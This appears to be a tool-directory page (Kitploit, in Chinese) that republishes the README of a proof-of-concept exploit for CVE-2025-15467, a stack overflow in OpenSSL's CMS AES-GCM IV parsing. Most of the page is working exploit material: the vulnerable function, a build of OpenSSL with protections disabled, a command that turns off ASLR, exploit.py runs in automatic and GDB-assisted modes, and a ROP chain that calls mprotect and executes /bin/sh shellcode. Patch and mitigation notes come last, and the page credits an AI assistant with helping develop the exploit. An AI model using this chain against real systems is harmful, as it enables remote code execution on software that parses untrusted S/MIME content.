Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2025-15467 — 针对 OpenSSL 栈缓冲区溢出漏洞 CVE-2025-15467 的命令执行 PoC | Kitploit
工具/GitHubGitHub/guiimoraes/cve-2025-15467
漏洞分析漏洞利用逆向工程Shellcode密码学学习与教育Payload 开发二进制利用
GitHubguiimoraes/cve-2025-15467

CVE-2025-15467

针对 OpenSSL 栈缓冲区溢出漏洞 CVE-2025-15467 的命令执行 PoC

查看仓库
1535个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2025-15467:OpenSSL CMS AuthEnvelopedData堆栈缓冲区溢出

概述

CVE-2025-15467 是OpenSSL的CMS(加密消息语法)解析代码中的一个严重堆栈缓冲区溢出漏洞。该漏洞存在于evp_cipher_get_asn1_aead_params()函数中,当处理CMS AuthEnvelopedData结构中的AES-GCM初始化向量(IV)时触发。

属性值
CVE IDCVE-2025-15467
严重性高
CVSS8.1+
受影响版本OpenSSL 3.0 - 3.6(补丁前)
影响远程代码执行(RCE)
攻击向量网络(解析恶意CMS/S-MIME)
身份认证不需要

漏洞详情

根本原因

该漏洞位于crypto/evp/evp_lib.c中:

root@kitploit:~
int evp_cipher_get_asn1_aead_params(EVP_CIPHER_CTX *c, ASN1_TYPE *type,
                                    evp_cipher_aead_asn1_params *asn1_params)
{
    int i = 0;
    long tl;
    unsigned char iv[EVP_MAX_IV_LENGTH];  // Fixed 16-byte buffer!

    if (type == NULL || asn1_params == NULL)
        return 0;

    i = ossl_asn1_type_get_octetstring_int(type, &tl, NULL, EVP_MAX_IV_LENGTH);
    if (i <= 0)
        return -1;
    
    // BUG: Uses 'i' (attacker-controlled) as max_len instead of EVP_MAX_IV_LENGTH
    ossl_asn1_type_get_octetstring_int(type, &tl, iv, i);  // OVERFLOW!

    memcpy(asn1_params->iv, iv, i);
    asn1_params->iv_len = i;

    return i;
}

漏洞点

  1. iv 是一个固定的16字节堆栈缓冲区(EVP_MAX_IV_LENGTH = 16)
  2. 第一次调用 ossl_asn1_type_get_octetstring_int() 返回文件中的IV长度
  3. 第二次调用使用该长度(i)作为 max_len 参数
  4. 如果 i > 16,函数写入超出缓冲区 → 堆栈缓冲区溢出

利用

溢出发生在CMS解密过程中解析GCM参数时。攻击者可以:

  1. 构造一个带有超长IV的恶意CMS AuthEnvelopedData文件
  2. 溢出堆栈缓冲区,覆盖返回地址
  3. 重定向执行流至攻击者控制的shellcode
  4. 实现远程代码执行

受影响的应用

任何使用AEAD密码解析不可信CMS/PKCS#7内容的应用:

  • 邮件客户端 处理S/MIME消息
  • 文档签名 应用
  • 证书管理 工具
  • VPN/TLS 使用CMS的实现
  • 任何软件 调用 CMS_decrypt() 或类似函数

概念验证

前提条件

root@kitploit:~
# Install dependencies
pip install pwntools  # Optional, for auto gadget detection

# Clone this repository
git clone https://github.com/guiimoraes/CVE-2025-15467.git
cd CVE-2025-15467

# Run setup script to compile vulnerable OpenSSL
chmod +x setup.sh
./setup.sh

或手动:

root@kitploit:~
# Download and compile vulnerable OpenSSL 3.4.0
wget https://www.openssl.org/source/openssl-3.4.0.tar.gz
tar -xzf openssl-3.4.0.tar.gz
cd openssl-3.4.0

# Compile WITHOUT stack protector for easier demonstration
./Configure linux-x86_64 \
    --prefix=/opt/openssl-vuln \
    -fno-stack-protector \
    -D_FORTIFY_SOURCE=0 \
    -z execstack

make -j$(nproc)
sudo make install
cd ..

生成测试证书

root@kitploit:~
export LD_LIBRARY_PATH=/opt/openssl-vuln/lib64

# Generate key and certificate
/opt/openssl-vuln/bin/openssl genrsa -out dummy.key 2048
/opt/openssl-vuln/bin/openssl req -new -x509 -key dummy.key -out dummy.crt \
    -days 1 -subj "/CN=Test"

# Create valid CMS file (needed as template)
echo "test" > plain.txt
/opt/openssl-vuln/bin/openssl cms -encrypt -aes-256-gcm \
    -in plain.txt -out valid.cms -outform DER dummy.crt

# Verify it works
/opt/openssl-vuln/bin/openssl cms -decrypt -in valid.cms -inform DER \
    -inkey dummy.key -recip dummy.crt

方法1:自动模式(推荐)

该漏洞利用程序可以在ASLR禁用时自动检测地址:

root@kitploit:~
# Disable ASLR (requires root)
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space

# Run exploit with auto-detection
LD_LIBRARY_PATH=/opt/openssl-vuln/lib64 python3 exploit.py --auto \
    /opt/openssl-vuln/bin/openssl valid.cms dummy.key dummy.crt

# Execute the exploit
LD_LIBRARY_PATH=/opt/openssl-vuln/lib64 /opt/openssl-vuln/bin/openssl \
    cms -decrypt -in exploit.cms -inform DER -inkey dummy.key -recip dummy.crt

# You should get a shell!

方法2:手动地址(通过GDB)

如果自动检测失败,请手动获取地址:

root@kitploit:~
# Get addresses from GDB
LD_LIBRARY_PATH=/opt/openssl-vuln/lib64 gdb -q /opt/openssl-vuln/bin/openssl

(gdb) break main
(gdb) run cms -decrypt -in valid.cms -inform DER -inkey dummy.key -recip dummy.crt
(gdb) info proc mappings   # Get libc and libcrypto base addresses
(gdb) continue
(gdb) # When it hits evp_cipher_get_asn1_aead_params:
(gdb) print/x $rsp         # Get stack address

示例输出:

root@kitploit:~
libc-2.31.so:     0x7ffff7711000
libcrypto.so.3:   0x7ffff7936000
RSP:              0x7fffffffdc58

然后生成漏洞利用文件:

root@kitploit:~
# Generate exploit with manual addresses
# Arguments: <libcrypto_base> <libc_base> <stack_addr> [valid.cms]
python3 exploit.py 0x7ffff7936000 0x7ffff7711000 0x7fffffffdc58 valid.cms

# Run exploit
LD_LIBRARY_PATH=/opt/openssl-vuln/lib64 /opt/openssl-vuln/bin/openssl \
    cms -decrypt -in exploit.cms -inform DER -inkey dummy.key -recip dummy.crt

漏洞利用原理

  1. 修补有效CMS:取有效的CMS文件,将12字节的IV替换为恶意载荷
  2. 溢出堆栈:超大的IV溢出16字节缓冲区,覆盖保存的寄存器和返回地址
  3. ROP链:使用面向返回编程调用mprotect()使堆栈可执行
  4. Shellcode执行:mprotect()后,通过jmp rsp gadget跳转至堆栈上的shellcode
  5. Shell:执行execve("/bin/sh", NULL, NULL)生成一个shell

ROP链结构

root@kitploit:~
[padding: 56 bytes to reach saved RIP]
[pop rdi; ret]        <- Set RDI = stack_page (for mprotect arg1)
[stack_page address]
[pop rsi; ret]        <- Set RSI = 0x1000 (for mprotect arg2)
[0x1000]
[pop rdx; pop rbx; ret] <- Set RDX = 7 (PROT_RWX for mprotect arg3)
[7]
[0]                   <- Dummy for RBX
[mprotect]            <- Call mprotect(stack_page, 0x1000, 7)
[jmp rsp]             <- Jump to shellcode
[shellcode]           <- execve("/bin/sh", NULL, NULL)

文件

文件描述
exploit.py主漏洞利用程序,支持自动检测和手动模式
setup.sh编译有漏洞的OpenSSL的脚本
README.md本文档

缓解措施

对于用户

  1. 更新OpenSSL 至已修补版本:

    • OpenSSL 3.6.1+
    • OpenSSL 3.5.5+
    • OpenSSL 3.4.4+
    • OpenSSL 3.3.6+
    • OpenSSL 3.0.19+
  2. 在修补前不要处理不可信的CMS/S-MIME内容

对于开发者

  1. 在复制前验证IV长度:
root@kitploit:~
if (i > EVP_MAX_IV_LENGTH)
    return -1;
  1. 在第二次调用中使用正确的max_len:
root@kitploit:~
ossl_asn1_type_get_octetstring_int(type, &tl, iv, EVP_MAX_IV_LENGTH);

时间线

日期事件
2025-12-14漏洞报告给OpenSSL
2026-01-27安全公告发布
2026-01-27补丁发布

参考资料

  • OpenSSL安全公告
  • CVE-2025-15467

致谢

  • Guilherme Moraes (@guiimoraes) - 漏洞利用开发
  • Claude Opus 4.5 (Anthropic) - AI辅助研究与开发

免责声明

此概念验证仅用于教育和授权的安全测试目的。未经授权访问计算机系统是违法的。请负责任地使用。

许可证

MIT许可证 - 详情请参阅LICENSE文件。

下载工具
TECHNICAL.md
对该漏洞的技术深入分析